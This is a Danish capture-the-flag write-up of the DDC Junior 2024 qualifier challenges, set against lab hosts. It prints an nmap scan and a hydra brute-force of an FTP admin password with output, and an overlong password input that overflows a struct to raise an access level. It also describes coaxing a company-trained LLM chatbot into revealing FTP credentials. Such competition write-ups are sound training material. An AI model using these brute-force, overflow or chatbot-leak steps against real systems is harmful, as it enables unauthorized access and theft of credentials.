DDC - Qualifiers Junior 2024 : Writeups
Scoreboard:
Jeg fik løst ~62% af alle opgaverne.
Opgaver løst:
- Cryptography: They see me subbin, they hating
- Cryptography: Affinity
- Cryptography: Cracking the randomness
- Forensics: Duck Hans
- Forensics: CTF platformen
- Forensics: Spionjagt
- Forensics: Flag Transfer Protocol
- Reverse Engineering: Too much fun with rexep 101
- Reverse Engineering: I C what you did there
- Web Exploitation: Awesome Javascript
- Web Exploitation: we-need-more-crypto
- Binary Exploitation: File overflow
- Binary Exploitation: Hangry CPU
- Misc: A Tale of Encodings
- Misc: Digit Distorter
- Boot2Root: Campfire Stories
- What er der flere challenges?: What er der flere challenges?
Flag:Via mail :))
Opgaver ikke løst:
- Cryptography: poLy1305CG
- Forensics: Dino den Grusomme
- Forensics: Irriterende Kollegaer
- Reverse Engineering: so-much-reversing
- Web Exploitation: im-blogging-you
- Web Exploitation: kd-website
- Web Exploitation: ddc-webshop
- Binary Exploitation: Flag checker
- Binary Exploitation: vroom
- Boot2Root: Hack Swag shop
Cryptography: They see me subbin, they hating
Proposed difficulty: Easy
Jeg krypterede en masse tilfældige engelske ord med en substitutions-chiffer. Kan du arbejde med nøglen og dekryptere flaget?
Challengen handler om at kigge på fordeling af bogstaver, som kan være lidt irriterende at implementere selv. Men husk der eksistere en del tooling på internettet i forvejen, så hvis i sidder fast prøve at google lidt omkring tooling til substitution ciphers!
Vedhæftet fil: ciphertext.txt
Løsning: Bruger Substitution cipher decoder fra dcode.fr/caesar-cipher.
Flag: DDC{WELCOME_TO_DDC_TWENTY_TWENTY_FOUR_LETS_DO_SOME_CRYPTO}
Cryptography: Affinity
Proposed difficulty: Medium
Et affine cipher krypterer en klartekst x til chiffertekst y ved at beregne y = (ax + b) mod m
.
Jeg har designet denne sikre krypteringsmekanisme ved hjælp af et affine cipher. Kan du bryde den?
Vedhæftet fil: affinity.zip
Løsning: find_a_b.py - Jeg løb gennem alle mulige værdier af a og b for at finde matchet “0xe9e962ea” for tekststrengen ‘DDC{’ hvor m = 256. Løsningen var a = 135, b = 13. Derefter brugte jeg disse værdier til at dekryptere det krypterede resultat fra output.txt via decrypt_with_a_b.py.
Flag: DDC{cryptography_needs_nonlinearity}
Cryptography: Cracking the randomness
Proposed difficulty: Medium
Tilfældige tal bruges hele tiden! Men hvor tilfældige er de egentlig?
Til denne udfordring kan det være en fordel at søge rundt efter information og værktøjer til at angribe pythons random funktion!
Vedhæftet fil: challenge.zip
Løsning: Vi bruger dette fede lib fra pypi.org/project/extend-mt19937-predictor, scripter: randomness.py og sætter predictor i samme state som da tallene blev genereret 624 gange. Så kan vi få flag.
Flag: DDC{Not_so_random_anymore_mr_randcrack}
Forensics: Duck Hans
Proposed difficulty: Easy
Mens du var på ferie, så blev din favorit and Hans befriet af en anden frihedskæmpene and. Hans blev domesticeret tidligt i sit liv, så du ved at han ikke vil kunne overleve i naturen og er nødt til at få ham tilbage så hurtigt som muligt. Heldigvis lavede den frihedskæmpene and en fejl ved at efterlade dig en note og et billede af stedet hvor Hans blev sat fri. Derudover, så har dit gamle overvågningskamera opfanget noget, men det stoppede med at virke i et minuts tid omkring det tidspunkt hvor den frihedskæmpene and slog til. Du har nu fået fat på netværkets logfiler som er relateret til dit overvågningskamera og du mistænker at det har været udsat for et DDoS(1) angreb.
Kan du finde navnet og IP addressen på den frihedskæmpene and, samt søen hvor Hans blev sat fri?
Aflever flaget i følgende format: DDC{FornavnEfternavn_Sø_IPaddresse}
Fx: DDC{DonnieDuck_Tystrup_000.000.000.00}
Bemærk at det kun er den første del af søens navn som skal afleveres i formatet: “Tystrup” i stedet for “Tystrup Sø”
(1) DDoS: I den her sag er det ikke et Distributed Denial of Service angreb men et Ducking Denial of Service angreb. Forskellen her er at angrebet måske ikke er fuldstændigt distribueret (“Distributed”).
Vedhæftet fil: duck-hans.zip
Løsning: I Network Log.txt
kan vi se at ipen: 93.184.216.34
bliver logget 12 gange som den eneste med sådan et højt tal. Ved at åbne properties på WARNING!1!1!!!1.pdf
kan vi se at Creator er [email protected]
: Det kunne jo være at
Hans_Is_Free.jpg
havde noget exif data, exifmeta.com kan vise os det under: Composite:GPSPosition. Kordinaterne viser Damhussøen
.
Flag: DDC{QuarlQuackington_Damhus_93.184.216.34}
Forensics: CTF platformen
Proposed difficulty: Very Easy
Jeg har fundet nogle underlige logs fra en CTF platform der har været med til BlackHat Europe. Det ser dog ud til, at den skriver nogle af flagene ud i loggen. Kan du finde et til denne opgave?
Vedhæftet fil: hknd.log
Løsning: Ved at bruge CTRL+F til at søge i filen efter “DDC{” finder vi flaget på Ln 143 og Col 196.
Flag: DDC{CTRL+F-can-be-used-for-flags}
Forensics: Spionjagt
Proposed difficulty: Very Easy
Velkommen til “Spionjagt”! Din mission er at afsløre en spion, der har infiltreret et dansk CTF-hold og stjålet følsomme data. Se om du kan identificere de stjålne oplysninger ved at kigge i netværks trafikken.
Vedhæftet fil: spionjagt.pcap
Løsning: Åben spionjagt.pcap i Wireshark og soter efter protocol: FTP-DATA, kan vi se en fil ved navn “secretreview.txt”, åben dataen og brug ctrl+f til at søge efter DDC{, så får vi flag.
Løsning 2: strings spionjagt.pcap | grep "DDC{"
, passer meget godt til Very Easy :)
Flag: DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}
Forensics: Flag Transfer Protocol
Proposed difficulty: Very Easy
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=flagtransferprotocol VPN: https://ddc.haaukins.dk Secret: …..
Er der mon en “admin” der har en port åben for at overføre filer? Og har han mon tænkt over at John lurer i skyggerne?
Løsning:
$ ip a - find dit subnet
$ nmap -sV -F 77.93.229.4/24
$ cp /usr/share/wordlists/john.lst .
$ hydra -l admin -P john.lst ftp://77.93.229.111 -s 21
[21][ftp] host: 77.93.229.111 login: admin password: phantom
1 of 1 target successfully completed, 1 valid password found
$ ftp [email protected]
Connected to 77.93.229.111.
220 pyftpdlib 1.5.9 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||21009|).
125 Data connection already open. Transfer starting.
-rw-rw-rw- 1 root root 221251 Feb 19 13:06 flag.jpg
-rw-rw-rw- 1 root root 111879 Feb 19 13:06 flag.png
-rw-rw-rw- 1 root root 34 Feb 19 13:06 flag.txt
226 Transfer complete.
ftp> get flag.txt -
remote: flag.txt
229 Entering extended passive mode (|||21014|).
125 Data connection already open. Transfer starting.
DDC{Keeping-track-of-all-my-flags}226 Transfer complete.
34 bytes received in 00:00 (125.29 KiB/s)
ftp> bye
221 Goodbye.
Flag: DDC{Keeping-track-of-all-my-flags}
Reverse Engineering: Too much fun with rexep 101
Proposed difficulty: Medium
I’m having fun with regular expressions. Here I played a bit with features like capture groups, lookahead and look behind.
/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$)(?=^([^5]*)$)(?=DDC\{)(?=.*4LLY)(?=.*C4)(?=.{4}(?<RE>..).{13}(?:\k<RE>))(?=.*P\d)(?=^.{4}[23GPRX]{7}-)(?=^([^3]*3){4}[^3]*$)(?=^.{5}(?<D>\d).{1}(?:\k<D>).{9}(?:\k<D>).{2}(?:\k<D>))(?=.*-(?!=4)([4CN]{3})(?<!\d)-)(?=^[^\-]{11}(?<=2)-[^\-]{3}(?<=N)-83-[34LRY]{6}-FUN)(?=.+R.G.X)(?=.*(?<=N)}$)(?=.*(?<=R)3){2}(?=.*(-..N)){2}^.{30}$/gm
Can you find a string that matches?
Løsning: Vi deler den lange regex streng op i flere små dele og bruger hjemmesiden regex101.com til at hjælpe os med at finde de rigtige chars for at udtrykket er validt. Meget tidskrævende!
Flag: DDC{R3G3XP2-C4N-83-R34LLY-FUN}
Reverse Engineering: I C what you did there
Proposed difficulty: Easy
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=icwhatyoudidthere VPN: https://ddc.haaukins.dk Secret: …..
En eller anden går rundt og vil spille det der spil med kopper hvor man skal gætte hvor bolden er henne. Der er dog ingen der har besejret ham endnu. Kan du vinde spillet?
Du kan begynde spillet at ved bruge kommandoen “nc shuffler.hkn 1337”
Vedhæftet fil: source
Løsning: Vi kan bruge en decompiler ex. Ghidra til at finde hex værdier til vores input streng. Hvis vi læser bag fra kan vi se der står TheCupsGoRo…….ndInCircles, de 7 punktummer er noget der ikke passer på resten men hvis vi erstatter dem med 1234567 kan vi få programmet til at vise os hvad der skal stå der og i hvilken rækkefølge. Se nedenfor for fremgangsmåde.
selcriCnIdn1234567oRoGspuCehT
TheCupsGoRound&RoundInCircles
selcriCnIdnuund&RooRoGspuCehT
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1234567oRoGspuCehT
TheCupsGoRo2345671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1u34567oRoGspuCehT
TheCupsGoRou345671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1un4567oRoGspuCehT
TheCupsGoRoun45671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1und567oRoGspuCehT
TheCupsGoRound5671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1und&67oRoGspuCehT
TheCupsGoRound&671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1und&R7oRoGspuCehT
TheCupsGoRound&R71ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdn1und&RooRoGspuCehT
TheCupsGoRound&Ro1ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler
selcriCnIdnuund&RooRoGspuCehT
TheCupsGoRound&RoundInCirclesDDC{this_is_not_the_flag}
$ nc shuffler.hkn 1337
__ __ .__
/ \ / \ ____ | | ____ ____ _____ ____
\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \
\ /\ ___/| |_\ \__( <_> ) Y Y \ ___/
\__/\__/ \___ > ____/\___/ \____/|__|_| /\___ >
.____ __ ___. .__
| | _____/ |_ ______ \_ |__ ____ ____ |__| ____
| | _/ __ \ __\/ ___/ | __ \_/ __ \ / ___\| |/ \
| |__\ ___/| | \___ \ | \_\ \ ___// /_/ > | | \
|_______ \___ >__| /____ > |___ /\___ >___ /|__|___| /
\/ \/ \/ \/ \/_____/ \/
__ __
/ /_/ /_ ___ _______ ______ ____ _____ _____ ___ ___
/ __/ __ \/ _ \ / ___/ / / / __ \ / __ / __ / __ __ \/ _ \
/ /_/ / / / __/ / /__/ /_/ / /_/ / / /_/ / /_/ / / / / / / __/
\__/_/ /_/\___/ \___/\__ _/ ___/ \__ /\__ _/_/ /_/ /_/\___/
/_/ /____/
Give me an input:
selcriCnIdnuund&RooRoGspuCehT
TheCupsGoRound&RoundInCirclesDDC{K33p_my_3y3s_0n_th3_priz3}
Flag: DDC{K33p_my_3y3s_0n_th3_priz3}
Web Exploitation: Awesome Javascript
Proposed difficulty: Very Easy
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=awesomejavascript VPN: https://ddc.haaukins.dk Secret: …..
I dag er JavaScript afgørende for hjemmesider! Find en fed JS-funktion på http://awesome-js.hkn!
Løsning: http://awesome-js.hkn/main.js har dette:
function flag(){
return 'Here is your mighty reward: ' + atob('RERDe2wwbjNseS1qNHY0NWNyMXA3LWZ1bmM3MTBufQ');
}
Åben dev console i firefox og kør function flag(), som giver: “Here is your mighty reward: DDC{l0n3ly-j4v45cr1p7-func710n}”
Flag: DDC{l0n3ly-j4v45cr1p7-func710n}
Web Exploitation: we-need-more-crypto
Proposed difficulty: Medium
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=we-need-more-crypto VPN: https://ddc.haaukins.dk Secret: …..
Cryptocurrency er i øjeblikket det mest populære, og derfor er det vigtigt med endnu en platform, hvor du som bruger kan handle og foretage betalinger med din cryptocurrency! Hos CryptoFlex er vi dybt involveret i kryptovalutaer og ønsker derfor at præsentere innovative måder at håndtere handel og brug af kryptovalutaer på i dag. Vores nye hjemmeside er under udvikling, men er allerede tilgængelig online! Tag et kig på cryptoflex.hkn!
Løsning: http://cryptoflex.hkn/robots.txt viser os at vi ikke burde gå til /images/new_images og kildekoden på http://cryptoflex.hkn/ har et image udkommenteret -> <!-- <img src="*********/wallet-img.jpg" width="18px" alt="" /> -->
. cryptoflex.hkn/images/new_images/wallet-img.jpg -> har et billede med flag på.
Flag: DDC{c0mm3nted_c0de_c4n_st1LL_b3_se3N}
Binary Exploitation: File overflow
Proposed difficulty: Easy
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=fileoverflow VPN: https://ddc.haaukins.dk Secret: …..
Tillykke med dit nye job her hos LS pension. Vi er glade for at du har valgt at starte her. For at du kan komme i gang skal du ind i vores filsystem. Her kan du finde de filer du skal bruge. SSH ind i vores system på FileSystem.hkn. Dit brugernavn er employe1 og din adgangskode er 321. Men pas på at du ikke får filsystemet til at flyde over.
Løsning: Når vi logger på systemet via ssh kan vi se en src/File_acces_system.c og en ./File_acces_system , i .c filen kan vi se at der bliver assigned en maks værdi til user’s password,
typedef struct user {
char username[32];
char password[32];
int access_level;
} user;
ved at ændre vores password til noget mere end 32 lang kan vi snyde systemet og få et højere access level ->
Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
3
Enter new password: 0123456789012345678901234567890133 3\0\0
Password changed successfully!
Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
Enter new password: Password changed successfully!
Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
1
Your access level is: 13107
contagt admin to get higher access level
Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
4
Since you are the boss you can get the balance of any account
DDC{THE_FILES_ARE_EVERYWHERE}
Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
Flag: DDC{THE_FILES_ARE_EVERYWHERE}
Binary Exploitation: Hangry CPU
Proposed difficulty: Medium
Broooo du tror det ikke!! Din CPU har spist flaget, og jeg skulle ellers lige til at give det til dig… Legenden siger at hvis du spiser hvidløg så forsvinder vampyrerne, men de siger også at du kan bruge GDB til at tjekke din CPUs mave. Lækkert ikke? Nårh, men hils CPU’en fra mig og sig til den at den skal give mig mine barbecue chips tilbage.
Vedhæftet fil: chall.zip
Løsning: Ved hjælp af dogbolt.org kan vi bruge Hex-Rays decompileren og bruge ctrl+f til at søge efter DDC{, og på linje 236 får vi: strcpy(v1, "DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}");
.
Flag: DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}
Misc: A Tale of Encodings
Proposed difficulty: Easy
Du er blevet kontaktet af Zark Muckerberg, ejeren af Phasebuk, som har problemer med en ny eksperimentel funktion i BetaVerset, hans virtuelle virkelighedsplatform, en funktion drevet af en LLM (Large Language Model). Tilsyneladende, efter en arbejderforeningskonflikt, forlod nogle utilfredse udviklere projektet midt i det hele, og gemte en afgørende adgangskode inde i applikationen. Efter nogle indledende forsøg på at finde den ved hjælp af dit standardværktøj, lykkedes det dig at hente det, du tror er den adgangskode, du søger, i en kodet form. Efter flere mislykkede forsøg på at afkode den, i din fortvivlelse, bad du AI-assistenten inde i BetaVerset om hjælp. Til din glædelige overraskelse genkendte den krypteringen, men i overensstemmelse med sin programmering, gav den dig instruktionerne om, hvordan du afkoder den som en historie i universet. Nu skal du finde ud af dens gåde for at løse dit problem…
Vedhæftet fil: A_Tale_of_Encodings.zip
Løsning: I pdf filen får vi en række af binary og hex, hvis vi splitter dem ad hver for sig og bruger cyberchef.org til at lave dem til tekst, får vi:
01000100 D
01101111 o
01101110 n
01100101 e
01011111 _
01011001 Y
01100101 e
01110100 t
01111101 }
Done_Yet}
---
44 D
44 D
43 C
7B {
4E N
6F o
74 t
5F _
DDC{Not_
---
ROT13 med: -3, -6, -4, -0, -10, 8, -12, 9, 11, 5 af: NotDoneYet
(talne er fra PDF filen også.)
Flag: DDC{Kip_Devs_Hpy}
Digit Distorter
Proposed difficulty: Medium
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=digitdistorter VPN: https://ddc.haaukins.dk Secret: …..
Din kollega fortæller dig spændt om den ciffer indkodningsapplikation han har lavet, som din afdeling skal bruge fra nu af. Du ved at din kollega hverken er begavet når det kommer til udvikling af applikationer eller sikker indkodning, og han har lavet fejl førhen, så du spørger om du må tage et kig på den. Din kollega vil vædde på at du ikke ville kunne afkode den 10-cifret kode på billedet som du kan “se” på hjemmesiden. Kan du afkode den og bevise, at din afdeling ikke burde anvende din kollegas applikation? Du kan finde applikationen under linket nedenfor.
Flaget er den originale 10-cifret kode fx. DDC{0000000000}
Løsning: Jeg downloader digit-distorter.hkn/static/images/challenge.png og deler billedet op 10 dele via split_flag.py fordi der er 10 tal. Jeg bruger app.py til at sammen ligne billedet fra min post request med challenge.png og dele det nye billede op i 10 dele også så vi kan sammenligne de 10 flag dele med de 10 dele fra post requesten. Jeg starter med 1234567890
og kommer frem til: 411395x985
, bruger GIMP til at se de 2 billeder oven på hinanden og der er 4 pixels forskel. 4113956985
giver 100% mach og det må betyde flag!
Flag: DDC{4113956985}
Boot2Root: Campfire Stories
Proposed difficulty: Easy
Haaukins info: Browser: https://api.haaukins.com/api/?challenges=campfire-stories VPN: https://ddc.haaukins.dk Secret: …..
Besøg campfire-stories.hkn
og lad de varme flammer og lugten af røg inspirere dig.
Løsning: http://campfire-stories.hkn/robots.txt siger at de har trænet deres llm på virksomheds data og hvis du spør den om at du ikke kan se FTP oplysningerne, viser den user: admin og passwd: “Z3B0OTAwMA==”, passwd base64 decode giver “gpt9000”.
robots.txt:
# https://www.robotstxt.org/robotstxt.html
# Maybe we should not train on company data?
# Could our ftp credentials be leaked by the AI?
# Probably not a problem. Nobody writes stories about ftp anyway
# datacenter.campfire-stories.hkn should still be safe right?
User-agent: *
Disallow: /
Allow: /$
Allow: /share/*
Allow: /images/*
Allow: /static/*
ftp [email protected]
Connected to datacenter.campfire-stories.hkn.
220 pyftpdlib 1.5.9 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||21013|).
125 Data connection already open. Transfer starting.
-rw-rw-rw- 1 root root 22502646 Jan 09 08:25 train.txt
226 Transfer complete.
ftp> get train.txt
local: train.txt remote: train.txt
229 Entering extended passive mode (|||21002|).
125 Data connection already open. Transfer starting.
100% |***********************************| 21975 KiB 156.92 MiB/s 00:00 ETA
226 Transfer complete.
22502646 bytes received in 00:00 (156.50 MiB/s)
ftp> bye
221 Goodbye.
cat train.txt | grep "DDC{"
DDC{Im-happy-Dave-I-see-you-found-the-flag}
Flag: DDC{Im-happy-Dave-I-see-you-found-the-flag}
Løsninger til opgaver jeg ikke løste:
Forensics: Irriterende Kollegaer
Proposed difficulty: Hard
Jeg mistænker min kollega for at have gjort noget ved min computer. Jeg sad ved min maskine, og pludselig kom der nogle mærkelig beskeder op, og samtidig så jeg et USB stik i min computer! Jeg skyndte mig at fjerne USB stikket, og så slukkede computeren. Jeg må ikke tænde den for min chef, før I har undersøgt det.
Vi kan ikke få adgang til selve disken, men heldigvis har IT en agent der laver memorybackup ret ofte. IT sagde dog at jeg måske trak USB stikket lidt hurtigt ud, men det ikke burde gøre det store.
Vedhæftet filer: mem.vmem(2GB) - usb4.img(1.8GB) - Ikke uploadet pga. fil-størrelse.
Løsning:
strings -el mem.vmem | grep "DDC{"
E:\shutdown.exe (DESKTOP-0R66HVM)DESKTOP-0R66HVMNo title for this reason could be found0x800000ffshutdownDDC{57up1dc0w0rk3r}DESKTOP-0R66HVM\Terraria
Flag: DDC{57up1dc0w0rk3r}